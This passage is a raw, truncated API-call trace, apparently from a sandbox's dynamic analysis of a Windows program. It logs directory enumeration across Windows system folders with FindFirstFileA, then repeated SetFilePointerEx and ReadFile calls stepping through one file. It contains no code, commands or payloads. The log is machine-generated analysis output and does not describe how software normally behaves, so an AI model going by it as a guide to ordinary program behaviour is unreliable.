lpFileName="C:\\\\Windows\\diagnostics\\system\\Printer\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e470555, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e470555, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549790 [0252.791] FindFirstFileA (in: lpFileName="C:\\\\Windows\\diagnostics\\system\\Printer\\en-US\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e470555, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22c9ab19, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e470555, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549810 [0252.811] FindFirstFileA (in: lpFileName="C:\\\\Windows\\diagnostics\\system\\Search\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e44a29c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7768fee5, dwReserved1=0x519300, cFileName=".", cAlternateFileName="")) returned 0x549790 [0252.814] FindFirstFileA (in: lpFileName="C:\\\\Windows\\diagnostics\\system\\Search\\en-US\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e44a29c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23139f80, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549810 [0252.827] FindFirstFileA (in: lpFileName="C:\\\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e44a29c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549790 [0252.829] FindFirstFileA (in: lpFileName="C:\\\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\en-US\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e44a29c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22f23962, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549810 [0252.841] FindFirstFileA (in: lpFileName="C:\\\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e44a29c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549790 [0252.842] FindFirstFileA (in: lpFileName="C:\\\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\en-US\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e44a29c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x234f4391, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549810 [0252.853] FindFirstFileA (in: lpFileName="C:\\\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e44a29c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549790 [0252.855] FindFirstFileA (in: lpFileName="C:\\\\Windows\\diagnostics\\system\\WindowsMediaPlayerPlayDVD\\en-US\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e44a29c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22d7fb6f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549810 [0252.858] FindFirstFileA (in: lpFileName="C:\\\\Windows\\diagnostics\\system\\WindowsUpdate\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e44a29c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549790 [0252.858] FindFirstFileA (in: lpFileName="C:\\\\Windows\\diagnostics\\system\\WindowsUpdate\\en-US\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e44a29c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22bdbd7c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549810 [0252.865] FindFirstFileA (in: lpFileName="C:\\\\Windows\\DigitalLocker\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3763cf0c, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x14139ae0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14139ae0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0252.870] FindFirstFileA (in: lpFileName="C:\\\\Windows\\DigitalLocker\\en-US\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3763cf0c, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x14139ae0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14139ae0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0252.876] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Downloaded Program Files\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1415fc40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1415fc40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0252.876] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4ace58 | out: lpNewFilePointer=0x0) returned 1 [0252.876] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4ace0c | out: lpNewFilePointer=0x0) returned 1 [0252.877] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4acddc | out: lpNewFilePointer=0x0) returned 1 [0252.877] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.877] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4acddc | out: lpNewFilePointer=0x0) returned 1 [0252.877] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.878] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1000) returned 0x56ee60 [0252.878] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0xae6, lpOverlapped=0x0) returned 1 [0252.882] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.882] GetLastError () returned 0x0 [0252.883] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.883] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0xade, lpOverlapped=0x0) returned 1 [0252.884] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.884] GetLastError () returned 0x0 [0252.884] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x10, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.884] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0xad6, lpOverlapped=0x0) returned 1 [0252.884] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x10, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.884] GetLastError () returned 0x0 [0252.884] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x18, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.884] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0xace, lpOverlapped=0x0) returned 1 [0252.884] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x18, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.885] GetLastError () returned 0x0 [0252.885] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x20, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.885] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0xac6, lpOverlapped=0x0) returned 1 [0252.885] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x20, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.885] GetLastError () returned 0x0 [0252.885] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x28, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.885] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0xabe, lpOverlapped=0x0) returned 1 [0252.885] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x28, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.885] GetLastError () returned 0x0 [0252.886] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x30, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.886] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0xab6, lpOverlapped=0x0) returned 1 [0252.886] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x30, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.886] GetLastError () returned 0x0 [0252.886] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x38, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.886] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0xaae, lpOverlapped=0x0) returned 1 [0252.887] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x38, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.887] GetLastError () returned 0x0 [0252.887] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x40, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.887] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0xaa6, lpOverlapped=0x0) returned 1 [0252.887] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x40, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.887] GetLastError () returned 0x0 [0252.887] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x48, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.887] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0xa9e, lpOverlapped=0x0) returned 1 [0252.887] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x48, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.887] GetLastError () returned 0x0 [0252.888] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x50, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.888] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0xa96, lpOverlapped=0x0) returned 1 [0252.888] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x50, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.888] GetLastError () returned 0x0 [0252.888] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x58, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.888] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0xa8e, lpOverlapped=0x0) returned 1 [0252.888] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x58, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.889] GetLastError () returned 0x0 [0252.889] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x60, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.889] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0xa86, lpOverlapped=0x0) returned 1 [0252.889] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x60, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.889] GetLastError () returned 0x0 [0252.889] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x68, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.889] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0xa7e, lpOverlapped=0x0) returned 1 [0252.889] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x68, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.889] GetLastError () returned 0x0 [0252.890] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x70, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.890] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0xa76, lpOverlapped=0x0) returned 1 [0252.890] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x70, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.890] GetLastError () returned 0x0 [0252.890] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x78, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.890] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0xa6e, lpOverlapped=0x0) returned 1 [0252.890] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x78, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.890] GetLastError () returned 0x0 [0252.891] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x80, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.891] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0xa66, lpOverlapped=0x0) returned 1 [0252.891] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x80, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.891] GetLastError () returned 0x0 [0252.891] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x88, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.891] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0xa5e, lpOverlapped=0x0) returned 1 [0252.891] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x88, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.891] GetLastError () returned 0x0 [0252.891] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x90, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.892] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0xa56, lpOverlapped=0x0) returned 1 [0252.892] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x90, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.892] GetLastError () returned 0x0 [0252.892] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x98, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.892] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0xa4e, lpOverlapped=0x0) returned 1 [0252.892] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x98, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.892] GetLastError () returned 0x0 [0252.892] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xa0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.892] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0xa46, lpOverlapped=0x0) returned 1 [0252.893] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xa0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.893] GetLastError () returned 0x0 [0252.893] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xa8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.893] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0xa3e, lpOverlapped=0x0) returned 1 [0252.893] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xa8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.893] GetLastError () returned 0x0 [0252.893] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xb0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.893] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0xa36, lpOverlapped=0x0) returned 1 [0252.894] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xb0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.894] GetLastError () returned 0x0 [0252.894] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xb8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.894] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0xa2e, lpOverlapped=0x0) returned 1 [0252.894] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xb8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.894] GetLastError () returned 0x0 [0252.894] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xc0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.894] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0xa26, lpOverlapped=0x0) returned 1 [0252.894] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xc0, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.894] GetLastError () returned 0x0 [0252.895] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xc8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.895] ReadFile (in: hFile=0x1f4, lpBuffer=0x56ee60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4acdac, lpOverlapped=0x0 | out: lpBuffer=0x56ee60*, lpNumberOfBytesRead=0x4acdac*=0xa1e, lpOverlapped=0x0) returned 1 [0252.895] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xc8, lpNewFilePointer=0x0, dwMoveMethod=0x4acdd8 | out: lpNewFilePointer=0x0) returned 1 [0252.895] GetLastError () returned 0x0 [0252.895] SetFilePointerEx 